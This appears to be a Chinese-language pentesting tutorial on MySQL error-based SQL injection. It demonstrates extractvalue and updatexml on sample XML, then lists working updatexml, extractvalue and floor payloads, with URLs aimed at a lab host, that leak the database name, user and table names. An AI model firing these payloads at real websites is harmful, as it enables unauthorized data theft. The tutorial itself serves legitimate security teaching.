渗透测试-SQL注入-报错注入
一 Union查询注入不适用的地方
- 注入语句无法截断,且不清楚完整的SQL查询语句
- 页面不能返回查询信息的时候
- Web页面中有两个SQL查询语句,查询语句的列数不同
二 关于MySQL处理XML
- 准备以下XML文件内容
<class id="WNCDC085">
<student sequence="1">
<id>WNCD201703015</id>
<name>景晓跃</name>
<sex>男</sex>
<age>24</age>
<degree>本科</degree>
<school>电子科技大学</school>
</student>
<student sequence="2">
<id>WNCD201703020</id>
<name>何小学</name>
<sex>男</sex>
<age>29</age>
<degree>本科</degree>
<school>li==理工大学</school>
</student>
</class>
- 创建一张表,其中一列的值为上述XML文件
本例中xmltable为表名,testxml为列名,只有一行一列,值为上述XML文件
- 执行以下SQL语句
# 查询何小学
select extractvalue(testxml,'//student[@sequence="2"]/name') from xmltable;
# 将何小学改为何大学
update xmltable set testxml = updatexml(testxml,'//student[@sequence="2"]/name',"<name>何大学</name>");
三 报错注入
当union select出现不适用的情况下,我们通常使用报错来进行注入
报错注入的原理就是通过构造特殊的报错语句,使用mysql数据库报错,使我们查询的内容显示在报错信息中,同时把报错信息显示在页面上。
常见的报错函数有 updateXML(),extractvalue(),floor()等。大致报错的原理就是利用输入字符串逻辑上的冲突造成报错。
1 and updatexml(1,concat(0x7e,database(),0x7e),1)
1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema='learn'),0x7e),1)
updatexml()函数的参数
参数 | 描述 |
---|---|
XML_document | String格式,为XML文档对象的名称,文中为Doc |
XPath_string | Xpath格式的字符串 |
new_value | String格式,替换查找到的符合条件的数据 |
concat()函数是将其连成一个字符串,因此不符合**XPATH_string的格式,**从而出现格式错误,爆出相关信息。
0x7e是ASCII码,~updatexml()
报错信息为特殊字符、字母之后的内容,为了前面字母丢失,开头连接一个特殊字符~
。
以下payload构造了正确的xpath路径,无法实现报错
http://192.168.88.130/security/read.php?id=1 and updatexml(1,"//name",1)
四 常用报错注入payload
报错注入涉及select,insert,update,delete
1. updatexml报错
and updatexml(1,concat(0x7e,(select user()),0x7e),1)
http://192.168.88.130/security/read.php?id=1 and
updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema='learn'),0x7e),1)
2. Extractvalue报错
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables linit 1),0x7e));
3. floor报错
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from
information_schema.tables group by x)a);
http://192.168.88.130/security/read.php?id=1 and
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from
information_schema.tables group by x)a);